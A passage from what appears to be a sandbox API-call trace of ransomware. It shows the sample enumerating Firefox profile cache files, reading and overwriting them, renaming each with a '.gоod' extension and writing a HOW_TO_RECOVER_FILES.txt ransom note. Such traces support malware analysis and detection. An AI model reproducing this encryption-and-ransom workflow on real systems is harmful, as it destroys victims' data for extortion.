lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache", lpFilePart=0x0) returned 0x54 [0219.096] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0219.097] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4016fa00, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb9f6f531, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xb9f6f531, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.097] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47587596, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47587596, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x475ad7ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptCache-child-current.bin", cAlternateFileName="SCRIPT~2.BIN")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47561304, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47561304, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47561304, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x478118, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptCache-current.bin", cAlternateFileName="SCRIPT~1.BIN")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486a7e6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x486a7e6a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629b81be, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44bcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.8.little", cAlternateFileName="STARTU~1.LIT")) returned 1 [0219.098] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486a7e6a, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x486a7e6a, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x629b81be, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x44bcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="startupCache.8.little", cAlternateFileName="STARTU~1.LIT")) returned 0 [0219.098] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0219.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0219.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0219.099] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0219.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0219.099] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), fInfoLevelId=0x0, lpFileInformation=0x36020e8 | out: lpFileInformation=0x36020e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47587596, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47587596, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x475ad7ea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf94c4)) returned 1 [0219.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0219.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0219.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0219.100] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0219.101] GetFileType (hFile=0x834) returned 0x1 [0219.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0219.101] GetFileType (hFile=0x834) returned 0x1 [0219.101] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x1000 [0219.101] ReadFile (in: hFile=0x834, lpBuffer=0x36025f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edbc8, lpOverlapped=0x0 | out: lpBuffer=0x36025f0*, lpNumberOfBytesRead=0x209edbc8*=0x1000, lpOverlapped=0x0) returned 1 [0219.262] CloseHandle (hObject=0x834) returned 1 [0219.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0219.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0219.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0219.263] GetFileType (hFile=0x834) returned 0x1 [0219.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0219.263] GetFileType (hFile=0x834) returned 0x1 [0219.263] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0xf94c4 [0219.263] WriteFile (in: hFile=0x834, lpBuffer=0x3758a38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209edae8, lpOverlapped=0x0 | out: lpBuffer=0x3758a38*, lpNumberOfBytesWritten=0x209edae8*=0x10, lpOverlapped=0x0) returned 1 [0219.599] CloseHandle (hObject=0x834) returned 1 [0219.599] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0219.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0219.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0219.599] GetFileType (hFile=0x834) returned 0x1 [0219.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0219.600] GetFileType (hFile=0x834) returned 0x1 [0219.600] ReadFile (in: hFile=0x834, lpBuffer=0x37112b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb78, lpOverlapped=0x0 | out: lpBuffer=0x37112b8*, lpNumberOfBytesRead=0x209edb78*=0x1000, lpOverlapped=0x0) returned 1 [0221.302] CloseHandle (hObject=0x834) returned 1 [0221.302] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0221.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0221.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.302] GetFileType (hFile=0x834) returned 0x1 [0221.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0221.302] GetFileType (hFile=0x834) returned 0x1 [0221.302] WriteFile (in: hFile=0x834, lpBuffer=0x3683d88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209edc28, lpOverlapped=0x0 | out: lpBuffer=0x3683d88*, lpNumberOfBytesWritten=0x209edc28*=0x1010, lpOverlapped=0x0) returned 1 [0221.303] CloseHandle (hObject=0x834) returned 1 [0221.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin", lpFilePart=0x0) returned 0x72 [0221.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin.gоod", lpFilePart=0x0) returned 0x77 [0221.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0221.303] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47587596, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47587596, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x801e1415, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf94d4)) returned 1 [0221.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0221.303] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-child-current.bin.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-child-current.bin.gоod")) returned 1 [0221.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edba0) returned 1 [0221.304] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), fInfoLevelId=0x0, lpFileInformation=0x36cddd0 | out: lpFileInformation=0x36cddd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47561304, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47561304, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x47561304, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x478118)) returned 1 [0221.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb60) returned 1 [0221.373] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.373] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0221.373] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.373] GetFileType (hFile=0x834) returned 0x1 [0221.373] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0221.374] GetFileType (hFile=0x834) returned 0x1 [0221.374] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x1000 [0221.374] ReadFile (in: hFile=0x834, lpBuffer=0x3770df0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3770df0*, lpNumberOfBytesRead=0x209edbc8*=0x1000, lpOverlapped=0x0) returned 1 [0221.375] CloseHandle (hObject=0x834) returned 1 [0221.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0221.375] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.375] GetFileType (hFile=0x834) returned 0x1 [0221.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0221.375] GetFileType (hFile=0x834) returned 0x1 [0221.375] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x209edbf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x209edbf8*=0) returned 0x478118 [0221.376] WriteFile (in: hFile=0x834, lpBuffer=0x3773100*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x209edae8, lpOverlapped=0x0 | out: lpBuffer=0x3773100*, lpNumberOfBytesWritten=0x209edae8*=0x10, lpOverlapped=0x0) returned 1 [0221.377] CloseHandle (hObject=0x834) returned 1 [0221.377] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0221.377] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.377] GetFileType (hFile=0x834) returned 0x1 [0221.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0221.377] GetFileType (hFile=0x834) returned 0x1 [0221.378] ReadFile (in: hFile=0x834, lpBuffer=0x3775420, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209edb78, lpOverlapped=0x0 | out: lpBuffer=0x3775420*, lpNumberOfBytesRead=0x209edb78*=0x1000, lpOverlapped=0x0) returned 1 [0221.404] CloseHandle (hObject=0x834) returned 1 [0221.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed580, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edaa0) returned 1 [0221.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0221.404] GetFileType (hFile=0x834) returned 0x1 [0221.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209eda10) returned 1 [0221.405] GetFileType (hFile=0x834) returned 0x1 [0221.405] WriteFile (in: hFile=0x834, lpBuffer=0x3774118*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x209edc28, lpOverlapped=0x0 | out: lpBuffer=0x3774118*, lpNumberOfBytesWritten=0x209edc28*=0x1010, lpOverlapped=0x0) returned 1 [0221.405] CloseHandle (hObject=0x834) returned 1 [0221.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin", lpFilePart=0x0) returned 0x6c [0221.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin.gоod", nBufferLength=0x105, lpBuffer=0x209ed6d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin.gоod", lpFilePart=0x0) returned 0x71 [0221.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edb60) returned 1 [0221.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), fInfoLevelId=0x0, lpFileInformation=0x209edc40 | out: lpFileInformation=0x209edc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47561304, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x47561304, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x802ec1f5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x478128)) returned 1 [0221.405] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edb20) returned 1 [0221.405] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\scriptCache-current.bin.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\scriptcache-current.bin.gоod")) returned 1 [0221.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6d [0221.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209edd60) returned 1 [0221.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\startupCache\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\startupcache\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0221.406] GetFileType (hFile=0x834) returned 0x1 [0221.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcd0) returned 1 [0221.406] GetFileType (hFile=0x834) returned 0x1 [0221.407] WriteFile (in: hFile=0x834, lpBuffer=0x37f3e20*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ede28, lpOverlapped=0x0 | out: lpBuffer=0x37f3e20*, lpNumberOfBytesWritten=0x209ede28*=0x5d0, lpOverlapped=0x0) returned 1 [0221.408] CloseHandle (hObject=0x834) returned 1 [0221.408] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0221.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails", lpFilePart=0x0) returned 0x52 [0221.408] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\thumbnails\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfe53ad66, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfe53ad66, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a6e0 [0221.496] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe53ad66, ftCreationTime.dwHighDateTime=0x1d327c9, 